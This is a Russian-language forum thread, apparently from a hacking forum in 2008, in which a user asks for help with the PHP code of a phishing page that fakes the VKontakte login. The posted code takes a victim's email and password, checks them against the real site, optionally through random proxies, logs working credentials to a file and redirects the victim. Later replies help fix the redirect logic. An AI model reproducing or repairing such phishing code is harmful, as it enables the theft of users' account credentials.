[PHP] нужна помощь

Discussion in 'PHP' started by El.DI@BL0, 28 Nov 2008.

  1. El.DI@BL0

    El.DI@BL0 Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    0
    Likes Received:
    119
    Reputations:
    15
    Есть фейк, в нём имеются опции: проверка на валидность и использование прокси. Когда отключаешь проверку на валидность, после ввода жертвой пароля нет переадрисации по заданной ссылке. Что нужно изменить? Сам пробовал, но Php я не знаю вообще. Вот кусок кода:

    PHP:
    if(isset($_POST['email']) && isset($_POST['pass'])){
        
    $email = trim($_POST['email']);
        
    $pass = $_POST['pass'];
        if(
    $valide_check){
            
    $email = str_replace('@', '%40', $email);
            
    $post_data = "success_url=&fail_url=&try_to_login=1&email=$email&pass=$pass";
            
    $post_len = strlen($post_data);
            
    $h = "POST http://vkontakte.ru/login.php HTTP/1.0\r\n";
            
    $h .= "Host: vkontakte.ru\r\n";
            if(
    $use_proxy){
                
    $h .= "Connection: Close\r\n";
            }
            
    $h .= "Referer: http://vkontakte.ru/login.php\r\n";
            
    $h .= "Content-Type: application/x-www-form-urlencoded\r\n";
            
    $h .= "Content-length: $post_len\r\n";
            
    $h .= "Cookie: remixchk=5; remixlang=0\r\n";
            
    $h .= "User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4) Gecko/2008102920 Firefox/3.0.4\r\n\r\n";
            
    $h .= $post_data."\r\n\r\n";
            if(!
    $use_proxy){
                
    $fp = fsockopen('vkontakte.ru', '80', $errno, $errstr, '55');
            } else {
                
    $pr = file($proxy_file);
                
    $proxy_count = count($pr)-1;
                
    $mix = rand('0', $proxy_count);
                
    $proxy = explode(':', $pr[$mix]);
                
    $fp = fsockopen($proxy[0], $proxy[1], $errno, $errstr, '55');
            }
            if(
    $fp)
            {
                
    fwrite($fp, $h);
                
    $outdata = '';
                while(!
    feof($fp)){
                    if (!
    $outdata .= fread($fp, '1024')){
                        
    $outdata = '';
                    }
                }
                
    fclose($fp);
            } else {
                echo 
    $errno.'<br/>'.$errstr;
            }

            if(
    strstr($outdata, '302 Found') || strstr($outdata, '302 Moved')){
                echo 
    '<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
                
    $flog = fopen($file_log, 'a');
                if(
    $flog){
                
    fwrite($flog, str_replace('%40', '@', $email).';'.$pass."\r\n");
                
    fclose($flog);
                } else {
                    die(
    'Failed to open file: '.$file_log);
                }
            } else {
            
    /*    echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */
    ?>
     
    #1 El.DI@BL0, 28 Nov 2008
    Last edited: 28 Nov 2008
    3 people like this.
  2. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    Если есть подобное то все норм

    $success_url="юрл на сайт"
    $fail_url="юрл на сайт"
     
  3. El.DI@BL0

    El.DI@BL0 Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    0
    Likes Received:
    119
    Reputations:
    15
    это есть, но не норм
     
    2 people like this.
  4. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    Ну тогда измени echo '<meta http-equiv="Refresh" content="0; url='.$success_url.'"';
    На header("Location: $success_url");
     
  5. El.DI@BL0

    El.DI@BL0 Elder - Старейшина

    Joined:
    18 Apr 2007
    Messages:
    0
    Likes Received:
    119
    Reputations:
    15
    тоже не помогло
     
  6. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    Два рефреша заменил на хиадер?
     
  7. Pashkela

    Pashkela Динозавр

    Joined:
    10 Jan 2008
    Messages:
    2,750
    Likes Received:
    1,044
    Reputations:
    339
    /* echo '<meta http-equiv="Refresh" content="0; url='.$fail_url.'"'; */

    тут символ /* и */ - начало и конец комментария. Просто удали их, строчка в таком варианте есс-но не работает, ибо закомментированна
     
  8. rcc0023

    rcc0023 Elder - Старейшина

    Joined:
    3 Jul 2008
    Messages:
    100
    Likes Received:
    6
    Reputations:
    0
    Точно))